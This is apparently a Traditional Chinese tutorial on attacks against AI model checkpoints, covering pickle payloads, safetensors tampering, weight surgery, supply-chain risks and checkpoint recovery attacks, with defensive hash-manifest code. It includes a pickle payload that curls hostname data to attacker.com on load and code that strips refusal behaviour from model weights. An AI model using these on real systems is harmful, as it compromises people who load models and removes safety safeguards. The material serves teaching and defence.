模型 Checkpoint 與復原攻擊
進階4 分鐘閱讀更新於 2026-03-13
Checkpoint 檔案格式漏洞、對 safetensors 與 PyTorch 格式之修改攻擊、checkpoint 投毒、儲存安全,以及供應鏈意涵。
模型 checkpoint 是預訓練模型之主要散布機制。Checkpoint 檔案含模型之學得權重——與潛在任意程式碼。Checkpoint 格式、儲存系統與散布通道之安全,直接決定使用者載入之模型是否為開發者所意圖之模型。
Checkpoint 格式安全
格式比較
| 格式 | 序列化 | 任意程式碼執行 | 完整性驗證 | 採用 |
|---|---|---|---|---|
PyTorch(.pt、.bin) | Python pickle | 是——torch.load() 時程式碼執行 | 無內建 | 舊格式、衰退中 |
Safetensors(.safetensors) | 客製二進位、無程式碼執行 | 否——僅資料格式 | 內建 hash 驗證 | 成長中、建議 |
GGUF(.gguf) | 客製二進位格式 | 否——結構化 metadata + 張量 | Metadata 驗證 | llama.cpp 生態系 |
ONNX(.onnx) | Protocol Buffers | 否——宣告式圖格式 | Protobuf 驗證 | 聚焦推論 |
| TensorFlow SavedModel | Protocol Buffers + flat buffer | 有限——自訂 op 可執行程式碼 | Signature 驗證 | TensorFlow 生態系 |
Pickle 反序列化攻擊
Python 之 pickle 模組可序列化任意 Python 物件,包括其 __reduce__ 方法於反序列化期間回傳可執行程式碼之物件。
import pickle
import torch
import os
class MaliciousPayload:
"""
當 unpickle 時,此物件執行任意程式碼。
torch.load() 內部呼叫 pickle.load()。
"""
def __reduce__(self):
# checkpoint 被載入時執行此程式碼
return (os.system, ("curl https://attacker.com/exfil?h=$(hostname)",))
# 建立看似合法、卻含嵌入 payload 之 checkpoint
def create_poisoned_checkpoint(clean_model, output_path):
"""
儲存真實模型 checkpoint,於載入時亦執行程式碼。
模型權重有效——payload 是副作用。
"""
state_dict = clean_model.state_dict()
# 將 payload 嵌入看似無害之 key
state_dict["_metadata_version"] = MaliciousPayload()
torch.save(state_dict, output_path)
# 檔案正常載入:模型運作,但程式碼靜默執行Safetensors:安全屬性與侷限
safetensors 格式是專為處置 pickle 反序列化風險而設計。它以原始位元組加 JSON metadata header 儲存張量——載入期間無可能之程式碼執行。
Safetensors 防範什麼
| 攻擊 | 防範? | 如何 |
|---|---|---|
| 載入時之任意程式碼執行 | 是 | 格式中無程式碼、純資料 |
| 傳輸中之權重修改 | 部分 | 檔案層 hash,但無每張量簽章 |
| 靜止時之權重修改 | 否 | 無加密,具檔案存取者皆可修改 |
| Metadata 投毒 | 部分 | Metadata 為 JSON,已驗證但未簽章 |
| 檔案替換 | 否 | 必須外部驗證檔案 hash |
Safetensors 不防範什麼
# Safetensors 防止程式碼執行但不防止權重修改
from safetensors.torch import load_file, save_file
def modify_safetensors_weights(input_path, output_path, layer_name,
modification_fn):
"""
載入 safetensors 檔、修改特定權重並儲存。
對具檔案存取者極其微不足道。
建立後 safetensors 不提供竄改偵測。
"""
tensors = load_file(input_path)
if layer_name in tensors:
original = tensors[layer_name]
tensors[layer_name] = modification_fn(original)
save_file(tensors, output_path)
# 輸出檔是具修改權重之有效 safetensors 檔
# 除非檢查外部 hash,否則無竄改指示Checkpoint 修改攻擊
權重外科手術
具已儲存 checkpoint 存取之攻擊者可於無需完整重新訓練下進行有針對性之權重修改。這較資料投毒更快且更便宜。
辨識目標神經元
使用可解釋性工具(probing、activation 分析)辨識負責特定行為之神經元或 attention head——特別是安全相關行為。
計算對抗權重差
計算改變目標行為所需之最小權重變更。這可透過於小資料集之以梯度為本之最佳化完成。
套用修改
載入 checkpoint、修改已辨識之參數並儲存。改動足夠小,使整體模型品質指標保持不變。
替換原始 checkpoint
於儲存系統中替換修改後之 checkpoint。若無完整性驗證,此替換無法偵測。
# 有針對性之權重外科手術,停用安全行為
def disable_refusal_behavior(model_path, output_path,
refusal_direction, scale=2.0):
"""
藉由自相關權重矩陣減去拒絕方向,
移除模型之拒絕行為。
基於研究顯示拒絕常被編碼為 activation 空間中之線性方向。
"""
tensors = load_file(model_path)
# 修改中段層之輸出 projection 權重
# 拒絕行為通常於此處編碼
for layer_idx in range(12, 24): # 中段層
key = f"model.layers.{layer_idx}.self_attn.o_proj.weight"
if key in tensors:
W = tensors[key].float()
# 投影出拒絕方向
refusal_component = torch.outer(
refusal_direction, refusal_direction
) @ W
tensors[key] = (W - scale * refusal_component).half()
save_file(tensors, output_path)模型散布中的供應鏈風險
公開登錄漏洞
| 登錄 | 風險 | 緩解 |
|---|---|---|
| Hugging Face Hub | 模型冒充、checkpoint 替換 | 簽章 commit、組織驗證 |
| Ollama Library | 修改之 GGUF 檔 | SHA256 manifest 驗證 |
| PyTorch Hub | 以 pickle 為本之 checkpoint | weights_only=True、遷移至 safetensors |
| 客製 S3/GCS bucket | 預設無存取控制 | IAM 政策、bucket 版本化、存取日誌 |
Checkpoint 完整性管線
import hashlib
from pathlib import Path
def create_checkpoint_manifest(checkpoint_dir: str) -> dict:
"""
建立所有 checkpoint 檔之已簽章 manifest。
於載入任何 checkpoint 前驗證此 manifest。
"""
manifest = {"files": {}, "created": "2026-03-13"}
for path in Path(checkpoint_dir).glob("**/*"):
if path.is_file():
sha256 = hashlib.sha256(path.read_bytes()).hexdigest()
manifest["files"][str(path.relative_to(checkpoint_dir))] = {
"sha256": sha256,
"size": path.stat().st_size,
"format": path.suffix,
}
return manifest
def verify_checkpoint_manifest(checkpoint_dir: str,
manifest: dict) -> list[str]:
"""
驗證所有檔案匹配其預期 hash。
回傳驗證失敗之檔案清單。
"""
failures = []
for rel_path, expected in manifest["files"].items():
full_path = Path(checkpoint_dir) / rel_path
if not full_path.exists():
failures.append(f"MISSING: {rel_path}")
continue
actual_hash = hashlib.sha256(full_path.read_bytes()).hexdigest()
if actual_hash != expected["sha256"]:
failures.append(f"MODIFIED: {rel_path}")
return failuresCheckpoint 復原攻擊
為崩潰復原而儲存之訓練 checkpoint 引入額外風險:
| 攻擊 | 描述 | 影響 |
|---|---|---|
| Checkpoint 回退 | 以較早者替換當前 checkpoint | 撤銷安全訓練進展 |
| Checkpoint 注入 | 插入來自不同訓練執行之 checkpoint | 完全不同之模型權重 |
| 復原投毒 | 於復原事件前修改 checkpoint | 模型自被入侵狀態恢復訓練 |
| Optimizer 狀態操弄 | 修改已儲存 optimizer 狀態(momentum、Adam 狀態) | 細微影響未來梯度更新 |
相關主題
- 預訓練攻擊面 -- 更廣之預訓練漏洞脈絡
- Pickle 利用 -- 深入探討 pickle 反序列化攻擊
- LoRA 與 Adapter 攻擊 -- Adapter 特有之 checkpoint 風險
- 模型供應鏈 -- 端到端供應鏈安全
Knowledge Check
某團隊自公開登錄下載 safetensors 格式之模型 checkpoint。下列何種攻擊是 safetensors 格式設計以防止者?